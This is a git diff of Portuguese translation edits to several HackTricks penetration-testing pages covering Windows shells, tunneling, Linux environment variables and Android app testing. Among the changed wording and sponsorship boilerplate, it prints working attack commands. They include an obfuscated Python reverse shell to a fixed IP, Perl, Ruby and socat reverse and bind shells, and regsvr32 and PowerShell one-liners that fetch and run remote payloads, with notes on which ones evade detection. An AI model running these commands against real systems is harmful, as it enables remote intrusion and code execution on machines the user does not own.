{% embed url="https://discord.gg/tryhardsecurity" %} @@ -356,9 +358,9 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Outras formas de apoiar o HackTricks: -* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! -* Adquira o [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) +* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/generic-methodologies-and-resources/shells/windows.md b/generic-methodologies-and-resources/shells/windows.md index ae2f3eae6..5e5d8abaa 100644 --- a/generic-methodologies-and-resources/shells/windows.md +++ b/generic-methodologies-and-resources/shells/windows.md @@ -6,7 +6,7 @@ Outras maneiras de apoiar o HackTricks: -* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** @@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks: **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -25,7 +25,7 @@ Outras maneiras de apoiar o HackTricks: ## Lolbas A página [lolbas-project.github.io](https://lolbas-project.github.io/) é para Windows, assim como [https://gtfobins.github.io/](https://gtfobins.github.io/) é para linux.\ -Obviamente, **não existem arquivos SUID ou privilégios sudo no Windows**, mas é útil saber **como** alguns **binários** podem ser (mal)usados para realizar algum tipo de ações inesperadas como **executar código arbitrário.** +Obviamente, **não existem arquivos SUID ou privilégios sudo no Windows**, mas é útil saber **como** alguns **binários** podem ser (ab)usados para realizar algum tipo de ações inesperadas como **executar código arbitrário.** ## NC ```bash @@ -51,11 +51,15 @@ uid=0(root) gid=0(root) groups=0(root) C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` ## Perl + +Perl is a high-level, general-purpose, interpreted programming language known for its flexibility and powerful text processing capabilities. It is commonly used for system administration, web development, and network programming. Perl scripts can be used for various tasks, including automating repetitive tasks, parsing and processing text files, and creating network tools. Perl is supported on Windows operating systems and can be used to create powerful shell scripts for Windows environments. ```bash perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` ## Ruby + +Ruby is a dynamic, open source programming language with a focus on simplicity and productivity. It has an elegant syntax that is easy to read and write. Ruby is commonly used for web development and is known for its Rails framework, which makes building web applications faster and easier. ```bash #Windows ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' @@ -218,7 +222,7 @@ rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject( ``` ## Regsvr32 -* [Daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) +* [A partir daqui](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) ```bash regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll ``` @@ -353,7 +357,7 @@ Compilar código C# na máquina da vítima. ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs ``` -Pode baixar um shell reverso básico em C# daqui: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) +Pode baixar um shell reverso básico em C# aqui: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc) **Não detectado** @@ -432,7 +436,7 @@ Crie um iniciador powershell, salve-o em um arquivo e faça o download e execute ``` powershell -exec bypass -c "iwr('http://10.2.0.5/launcher.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` -**Detectado como código malicioso** +**Código detectado como malicioso** ### MSF-Unicorn @@ -454,7 +458,7 @@ powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex" ## Mais -[PS>Attack](https://github.com/jaredhaight/PSAttack) Console PS com alguns módulos ofensivos PS pré-carregados (cifrados)\ +[PS>Attack](https://github.com/jaredhaight/PSAttack) Console PS com alguns módulos ofensivos PS pré-carregados (cifrado)\ [https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f9](https://gist.github.com/NickTyrer/92344766f1d4d48b15687e5e4bf6f93c)[\ WinPWN](https://github.com/SecureThisShit/WinPwn) Console PS com alguns módulos ofensivos PS e detecção de proxy (IEX) @@ -470,7 +474,7 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) Console PS com alguns módulos ​ **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} diff --git a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md index c8ad56146..74c317862 100644 --- a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md +++ b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md @@ -4,7 +4,7 @@ Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! -* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** @@ -14,7 +14,7 @@ **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -52,7 +52,7 @@ ssh -Y -C @ #-Y is less secure but faster than -X ``` ### Porta Local para Porta -Abrir uma nova porta no Servidor SSH --> Outra porta +Abrir nova porta no servidor SSH --> Outra porta ```bash ssh -R 0.0.0.0:10521:127.0.0.1:1521 user@10.0.0.1 #Local port 1521 accessible in port 10521 from everywhere ``` @@ -70,7 +70,7 @@ sudo ssh -L 631::631 -N -f -l ``` ### Port2hostnet (proxychains) -Porta Local --> Host Comprometido (SSH) --> Para onde quer que seja +Porta Local --> Host Comprometido (SSH) --> Qualquer lugar ```bash ssh -f -N -D @ #All sent to local port will exit through the compromised server (use as proxy) ``` @@ -87,7 +87,7 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN ``` ### VPN-Tunnel -É necessário **root em ambos os dispositivos** (pois você vai criar novas interfaces) e a configuração do sshd deve permitir login de root:\ +Você precisa de **root em ambos os dispositivos** (pois você vai criar novas interfaces) e a configuração do sshd deve permitir login como root:\ `PermitRootLogin yes`\ `PermitTunnel yes` ```bash @@ -123,14 +123,14 @@ sshuttle -D -r user@host 10.10.10.10 0/0 --ssh-cmd 'ssh -i ./id_rsa' ### Port2Port -Porta local --> Host comprometido (sessão ativa) --> Terceira\_caixa:Porta +Porta local --> Host comprometido (sessão ativa) --> Terceiro\_host:Porta ```bash # Inside a meterpreter session portfwd add -l -p -r ``` ### SOCKS -SOCKS (Socket Secure) é um protocolo de rede que permite a comunicação de pacotes entre clientes e servidores através de um servidor proxy. Ele pode ser usado para rotear o tráfego da rede de forma segura e anônima, facilitando a criação de túneis para acessar recursos de rede internos de forma remota. +SOCKS (Socket Secure) é um protocolo de rede que permite a comunicação de pacotes entre redes através de um servidor intermediário. Ele pode ser usado para rotear o tráfego da rede de um cliente através do servidor SOCKS, fornecendo anonimato e contornando restrições de rede. ```bash background# meterpreter session route add # (ex: route add 10.10.10.14 255.255.255.0 8) @@ -138,7 +138,19 @@ use auxiliary/server/socks_proxy run #Proxy port 1080 by default echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains ``` -Outra maneira: +### Tunneling and Port Forwarding + +Tunneling is a method that allows data to be transferred securely over an insecure network. It involves encapsulating the data into another protocol to create a secure communication channel. Port forwarding, on the other hand, is a technique that redirects a communication request from one address and port number combination to another. This can be useful for accessing services on a remote network securely. + +#### Tunneling + +Tunneling can be achieved using various protocols such as SSH, VPN, or even HTTP. It is commonly used to bypass firewalls, access restricted content, or secure communication between two endpoints. By creating a tunnel, data is encrypted and can traverse the insecure network without being intercepted. + +#### Port Forwarding + +Port forwarding is often used in conjunction with tunneling to redirect specific network traffic. It can be set up using tools like SSH or specialized software. By forwarding ports, services running on specific ports on a remote machine can be accessed securely from a local machine. This is particularly useful for remote administration or accessing services on a server behind a firewall. + +Both tunneling and port forwarding are essential techniques in the field of cybersecurity and can be used for various purposes, including penetration testing, bypassing restrictions, and securely accessing remote resources. ```bash background #meterpreter session use post/multi/manage/autoroute @@ -166,7 +178,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ### rPort2Port {% hint style="warning" %} -Neste caso, a **porta é aberta no host de beacon**, não no Servidor da Equipe e o tráfego é enviado para o Servidor da Equipe e a partir daí para o host:porta indicado. +Neste caso, a **porta é aberta no host beacon**, não no Servidor da Equipe e o tráfego é enviado para o Servidor da Equipe e a partir daí para o host:porta indicado. {% endhint %} ```bash rportfwd [bind port] [forward host] [forward port] @@ -195,9 +207,9 @@ Você precisa fazer upload de um arquivo de túnel da web: ashx|aspx|js|jsp|php| ```bash python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp ``` -## Chisel +## Cinzel -Você pode baixá-lo na página de lançamentos do [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ +Você pode baixá-lo na página de lançamentos de [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)\ Você precisa usar a **mesma versão para cliente e servidor** ### socks @@ -239,7 +251,7 @@ victim> python client.py --server-ip --server-port 9999 --ntl [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Conexão de Bind +### Shell de Ligação ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337 @@ -275,7 +287,7 @@ OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacke ### Túnel SSL com Socat -**/bin/sh console** +**Console /bin/sh** Criar certificados em ambos os lados: Cliente e Servidor ```bash @@ -291,9 +303,9 @@ chmod 600 $FILENAME.key $FILENAME.pem attacker-listener> socat OPENSSL-LISTEN:433,reuseaddr,cert=server.pem,cafile=client.crt EXEC:/bin/sh victim> socat STDIO OPENSSL-CONNECT:localhost:433,cert=client.pem,cafile=server.crt ``` -### Porta2Porta Remoto +### Porta Remota para Porta -Conecte a porta SSH local (22) à porta 443 do host do atacante +Conecte a porta SSH local (22) à porta 443 do host atacante ```bash attacker> sudo socat TCP4-LISTEN:443,reuseaddr,fork TCP4-LISTEN:2222,reuseaddr #Redirect port 2222 to port 443 in localhost victim> while true; do socat TCP4::443 TCP4:127.0.0.1:22 ; done # Establish connection with the port 443 of the attacker and everything that comes from here is redirected to port 22 @@ -301,7 +313,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o ``` ## Plink.exe -É como uma versão de console do PuTTY (as opções são muito semelhantes a um cliente ssh). +É como uma versão console do PuTTY (as opções são muito semelhantes a um cliente ssh). Como este binário será executado na vítima e é um cliente ssh, precisamos abrir nosso serviço ssh e porta para que possamos ter uma conexão reversa. Em seguida, para encaminhar apenas a porta acessível localmente para uma porta em nossa máquina: ```bash @@ -325,7 +337,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 ## SocksOverRDP & Proxifier É necessário ter **acesso RDP sobre o sistema**.\ -Baixe: +Download: 1. [Binários SocksOverRDP x64](https://github.com/nccgroup/SocksOverRDP/releases) - Esta ferramenta utiliza `Dynamic Virtual Channels` (`DVC`) do recurso de Serviço de Área de Trabalho Remota do Windows. O DVC é responsável por **tunelar pacotes sobre a conexão RDP**. 2. [Binário Portátil do Proxifier](https://www.proxifier.com/download/#win-tab) @@ -351,7 +363,7 @@ Agora você pode usar [**Proxifier**](https://www.proxifier.com/) **para encamin Você pode fazer com que aplicativos GUI do Windows naveguem por um proxy usando [**Proxifier**](https://www.proxifier.com/).\ Em **Profile -> Proxy Servers** adicione o IP e a porta do servidor SOCKS.\ -Em **Profile -> Proxification Rules** adicione o nome do programa para proxificar e as conexões para os IPs que deseja proxificar. +Em **Profile -> Proxification Rules** adicione o nome do programa a ser proxificado e as conexões para os IPs que deseja proxificar. ## Bypass de proxy NTLM @@ -365,7 +377,7 @@ http-proxy 8080 ntlm [http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/) Autentica-se contra um proxy e vincula uma porta local que é encaminhada para o serviço externo que você especificar. Em seguida, você pode usar a ferramenta de sua escolha por meio desta porta.\ -Por exemplo, encaminhar a porta 443. +Por exemplo, encaminha a porta 443 ``` Username Alice Password P@ssw0rd @@ -373,8 +385,8 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` -Agora, se você definir, por exemplo, na vítima o serviço **SSH** para ouvir na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\ -Você também poderia usar um **meterpreter** que se conecta a localhost:443 e o atacante está ouvindo na porta 2222. +Agora, se você configurar, por exemplo, no alvo o serviço **SSH** para escutar na porta 443. Você pode se conectar a ele através da porta 2222 do atacante.\ +Você também poderia usar um **meterpreter** que se conecta a localhost:443 e o atacante está escutando na porta 2222. ## YARP @@ -528,7 +540,7 @@ addr: file:///tmp/httpbin/ **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -540,7 +552,7 @@ addr: file:///tmp/httpbin/ * Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) +* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. diff --git a/linux-hardening/linux-environment-variables.md b/linux-hardening/linux-environment-variables.md index 992199835..2d03946e3 100644 --- a/linux-hardening/linux-environment-variables.md +++ b/linux-hardening/linux-environment-variables.md @@ -6,17 +6,17 @@ Outras maneiras de apoiar o HackTricks: -* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! -* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) -* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** -* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +- Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +- Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) +- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) +- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +- **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -46,10 +46,6 @@ echo $LOCAL unset LOCAL ``` ## Listar variáveis atuais - -```bash -printenv -``` ```bash set env @@ -100,7 +96,7 @@ Os processos usarão o **proxy** declarado aqui para se conectar à internet atr export http_proxy="http://10.10.10.10:8080" export https_proxy="http://10.10.10.10:8080" ``` -### SSL\_CERT\_FILE & SSL\_CERT\_DIR +### SSL_CERT_FILE & SSL_CERT_DIR Os processos confiarão nos certificados indicados nestas **variáveis de ambiente**. ```bash @@ -131,20 +127,20 @@ Um trabalho em segundo plano, um parado e o último comando não terminou corret **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %}
-Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! +Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: * Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** +* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.** * **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/mobile-pentesting/android-app-pentesting/README.md b/mobile-pentesting/android-app-pentesting/README.md index ab290557b..19989720b 100644 --- a/mobile-pentesting/android-app-pentesting/README.md +++ b/mobile-pentesting/android-app-pentesting/README.md @@ -2,7 +2,7 @@
-Aprenda a hackear a AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! +Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! Outras maneiras de apoiar o HackTricks: @@ -10,7 +10,7 @@ Outras maneiras de apoiar o HackTricks: * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) do GitHub. +* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
@@ -19,10 +19,10 @@ Outras maneiras de apoiar o HackTricks: Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de bugs! **Percepções de Hacking**\ -Envolver-se com conteúdo que explora a emoção e os desafios do hacking +Envolver-se com conteúdo que mergulha na emoção e desafios do hacking **Notícias de Hacking em Tempo Real**\ -Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e insights em tempo real +Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real **Últimos Anúncios**\ Fique informado sobre os mais recentes programas de recompensas por bugs lançados e atualizações cruciais na plataforma @@ -70,7 +70,7 @@ Por favor, [**leia aqui para encontrar informações sobre diferentes decompilad ### Procurando por Informações Interessantes -Apenas olhando para as **strings** do APK, você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), chaves de **API**, **criptografia**, **UUIDs de bluetooth**, **tokens** e qualquer coisa interessante... procure até por **backdoors** de execução de código ou backdoors de autenticação (credenciais de administrador codificadas no aplicativo). +Apenas olhando para as **strings** do APK você pode procurar por **senhas**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), chaves de **API**, **criptografia**, **UUIDs de bluetooth**, **tokens** e qualquer coisa interessante... procure até por **backdoors** de execução de código ou backdoors de autenticação (credenciais de administrador codificadas no aplicativo). **Firebase** @@ -88,14 +88,14 @@ A **análise dos arquivos Manifest.xml e strings.xml de uma aplicação pode rev * **Atividades e Serviços Exportados**: Identificar atividades e serviços exportados no manifesto pode destacar componentes que podem ser mal utilizados. Uma análise adicional durante os testes dinâmicos pode revelar como explorar esses componentes. * **Provedores de Conteúdo e FileProviders**: Provedores de conteúdo expostos podem permitir acesso ou modificação não autorizados de dados. A configuração dos FileProviders também deve ser examinada. * **Receptores de Broadcast e Esquemas de URL**: Esses componentes podem ser aproveitados para exploração, com atenção especial à forma como os esquemas de URL são gerenciados para vulnerabilidades de entrada. -* **Versões do SDK**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, destacando a importância de não suportar versões antigas e vulneráveis do Android por motivos de segurança. +* **Versões do SDK**: Os atributos `minSdkVersion`, `targetSDKVersion` e `maxSdkVersion` indicam as versões do Android suportadas, destacando a importância de não suportar versões desatualizadas e vulneráveis do Android por motivos de segurança. -Do arquivo **strings.xml**, informações sensíveis como chaves de API, esquemas personalizados e outras notas de desenvolvedor podem ser descobertas, destacando a necessidade de revisão cuidadosa desses recursos. +Do arquivo **strings.xml**, informações sensíveis como chaves de API, esquemas personalizados e outras notas de desenvolvedor podem ser descobertas, destacando a necessidade de uma revisão cuidadosa desses recursos. ### Tapjacking -**Tapjacking** é um ataque onde um **aplicativo malicioso** é lançado e **se posiciona sobre um aplicativo vítima**. Uma vez que obscurece visualmente o aplicativo vítima, sua interface de usuário é projetada de forma a enganar o usuário para interagir com ele, enquanto passa a interação para o aplicativo vítima.\ -Na prática, **cega o usuário para que ele não saiba que está realmente realizando ações no aplicativo vítima**. +**Tapjacking** é um ataque onde um **aplicativo malicioso** é lançado e **se posiciona sobre um aplicativo vítima**. Uma vez que ele obscurece visualmente o aplicativo vítima, sua interface de usuário é projetada de forma a enganar o usuário para interagir com ele, enquanto passa a interação para o aplicativo vítima.\ +Na prática, ele **impede o usuário de saber que está realmente realizando ações no aplicativo vítima**. Encontre mais informações em: @@ -105,7 +105,7 @@ Encontre mais informações em: ### Sequestro de Tarefas -Uma **atividade** com o **`launchMode`** definido como **`singleTask` sem `taskAffinity`** definido é vulnerável ao sequestro de tarefas. Isso significa que um **aplicativo** pode ser instalado e, se lançado antes do aplicativo real, poderia **sequestrar a tarefa do aplicativo real** (então o usuário estará interagindo com o **aplicativo malicioso pensando que está usando o real**). +Uma **atividade** com o **`launchMode`** definido como **`singleTask` sem `taskAffinity`** definido é vulnerável ao sequestro de tarefas. Isso significa que um **aplicativo** pode ser instalado e, se lançado antes do aplicativo real, pode **sequestrar a tarefa do aplicativo real** (então o usuário estará interagindo com o **aplicativo malicioso pensando que está usando o real**). Mais informações em: @@ -168,13 +168,13 @@ Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os cript Os desenvolvedores não devem usar algoritmos obsoletos para realizar verificações de autorização, armazenar ou enviar dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se hashes forem usados para armazenar senhas, por exemplo, hashes resistentes a ataques de força bruta devem ser usados com salt. -### Outras verificações +### Outras Verificações * É recomendado **ofuscar o APK** para dificultar o trabalho de engenharia reversa para os atacantes. * Se o aplicativo for sensível (como aplicativos bancários), ele deve realizar suas próprias verificações para ver se o dispositivo móvel está rooteado e agir em conformidade. * Se o aplicativo for sensível (como aplicativos bancários), ele deve verificar se um emulador está sendo usado. * Se o aplicativo for sensível (como aplicativos bancários), ele deve verificar sua própria integridade antes de executá-lo para verificar se foi modificado. -* Use [**APKiD**](https://github.com/rednaga/APKiD) para verificar qual compilador/packer/ofuscador foi usado para construir o APK +* Use [**APKiD**](https://github.com/rednaga/APKiD) para verificar qual compilador/packer/ofuscador foi usado para construir o APK. ### Aplicativo React Native @@ -198,11 +198,11 @@ De 